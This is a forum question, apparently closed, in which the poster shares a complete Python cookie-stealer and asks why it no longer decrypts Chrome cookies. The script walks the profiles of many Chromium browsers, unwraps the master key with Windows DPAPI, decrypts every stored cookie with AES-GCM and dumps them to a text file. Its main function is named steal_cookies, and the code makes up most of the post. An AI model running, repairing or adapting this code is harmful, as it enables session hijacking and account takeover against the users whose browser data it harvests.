• caglararli@hotmail.com
  • 05386281520

Did Google change their way of encrypting Cookies in their database? [closed]

Çağlar Arlı      -    34 Views

Did Google change their way of encrypting Cookies in their database? [closed]

So I had this simple script that extract's the master key and decrypts the cookies using the master key. And it was working well last time I tested it which was a year ago.

However now when I am running it, it is producing an error, basically the error says that the MAC verification for decrypting failed, which means that the key (the master key) provided for decryption is incorrect.

import asyncio
import io
import json
import os
import re
import threading
import sqlite3
from base64 import b64decode
from time import time

from cryptography.exceptions import InvalidTag
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from win32crypt import CryptUnprotectData

APPDATA = os.getenv("localappdata")
BROWSERS = {
    "amigo": APPDATA + "\\Amigo\\User Data",
    "torch": APPDATA + "\\Torch\\User Data",
    "kometa": APPDATA + "\\Kometa\\User Data",
    "orbitum": APPDATA + "\\Orbitum\\User Data",
    "cent-browser": APPDATA + "\\CentBrowser\\User Data",
    "7star": APPDATA + "\\7Star\\7Star\\User Data",
    "sputnik": APPDATA + "\\Sputnik\\Sputnik\\User Data",
    "vivaldi": APPDATA + "\\Vivaldi\\User Data",
    "google-chrome-sxs": APPDATA + "\\Google\\Chrome SxS\\User Data",
    "google-chrome": APPDATA + "\\Google\\Chrome\\User Data",
    "epic-privacy-browser": APPDATA + "\\Epic Privacy Browser\\User Data",
    "microsoft-edge": APPDATA + "\\Microsoft\\Edge\\User Data",
    "uran": APPDATA + "\\uCozMedia\\Uran\\User Data",
    "yandex": APPDATA + "\\Yandex\\YandexBrowser\\User Data",
    "brave": APPDATA + "\\BraveSoftware\\Brave-Browser\\User Data",
    "iridium": APPDATA + "\\Iridium\\User Data",
    "edge": APPDATA + "\\Microsoft\\Edge\\User Data",
}

IO_FILE_TO_STORE_COOKIES = io.BytesIO()
IO_FILE_LOCK = threading.Lock()


def windows_unprot(encrypted_str: bytes) -> bytes:
    return CryptUnprotectData(encrypted_str, None, None, None, 0)[1]


def getkey(path: [str, os.PathLike]) -> [bytes, None]:
    with open(path, "r", encoding="utf-8") as f:
        c = f.read()

    local_state = json.loads(c)

    try:
        master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
        return windows_unprot(master_key[5:])

    except KeyError:
        return None


def decrypt_value(buff, master_key) -> str:
    try:
        iv = buff[3:15]
        payload = buff[15:]

        aesgcm = AESGCM(master_key)

        ciphertext = payload[:-16]
        auth_tag = payload[-16:]

        full_payload = ciphertext + auth_tag

        decrypted_pass = aesgcm.decrypt(iv, full_payload, None)

        decrypted_pass = decrypted_pass.decode()

        return decrypted_pass

    except InvalidTag:
        return f'Failed to decrypt | Error: MAC verification failed'
    except Exception as e:
        return f'Failed to decrypt | Error: {e}'


def steal_cookies(path: str, profile: str, master_key: bytes, file: io.BytesIO):
    path = os.path.join(path, profile, "Network", "Cookies")
    print(path)
    if not os.path.isfile(path):
        return

    conn = sqlite3.connect(path)
    conn.text_factory = lambda b: b.decode(errors="ignore")
    cursor = conn.cursor()
    for res in cursor.execute(
        "SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
    ).fetchall():

        host_key, name, path, encrypted_value, expires_utc = res

        value = decrypt_value(encrypted_value, master_key)

        if host_key and name and value != "":
            with IO_FILE_LOCK:
                file.seek(0)
                if (
                    "{}\t{}\t{}\t{}\t{}\t{}\t{}\n".format(
                        host_key,
                        "FALSE" if expires_utc == 0 else "TRUE",
                        path,
                        "FALSE" if host_key.startswith(".") else "TRUE",
                        expires_utc,
                        name,
                        value,
                    )
                ).encode() not in file.read():

                    file.seek(0, 2)
                    file.write(
                        (
                            "{}\t{}\t{}\t{}\t{}\t{}\t{}\n".format(
                                host_key,
                                "FALSE" if expires_utc == 0 else "TRUE",
                                path,
                                "FALSE" if host_key.startswith(".") else "TRUE",
                                expires_utc,
                                name,
                                value,
                            )
                        ).encode()
                    )

    cursor.close()


def find_profiles(browser_path):
    profiles = []
    for profile in os.listdir(browser_path):
        if os.path.isdir(os.path.join(browser_path, profile)) and re.match(
            r"^Profile \d+|Default", profile
        ):
            profiles.append(profile)
    return profiles


def get_cookie(name, path):
    master_key = getkey(os.path.join(path, "Local State"))



    profiles = find_profiles(path)
    for profile in profiles:
        try:
            steal_cookies(path, profile, master_key, IO_FILE_TO_STORE_COOKIES)
        except sqlite3.OperationalError as e:
            print(f"Exception: {e}, Browser: {name}")


async def main():
    tasks = []

    for name, path in BROWSERS.items():
        if not os.path.exists(path) or not os.path.isdir(path):
            continue

        tasks.append(
            asyncio.create_task(asyncio.to_thread(get_cookie, name, path))
        )

    await asyncio.gather(*tasks)
    IO_FILE_TO_STORE_COOKIES.seek(0)

    with open("All Cookies.txt", "wb") as f:
        f.write(IO_FILE_TO_STORE_COOKIES.read())


if __name__ == "__main__":
    start_time = time()
    asyncio.run(main())
    print(f"Finished in {round(time() - start_time, 2)} seconds.")


So my question is: Am I doing something wrong or did Google change their way of encrypting cookies?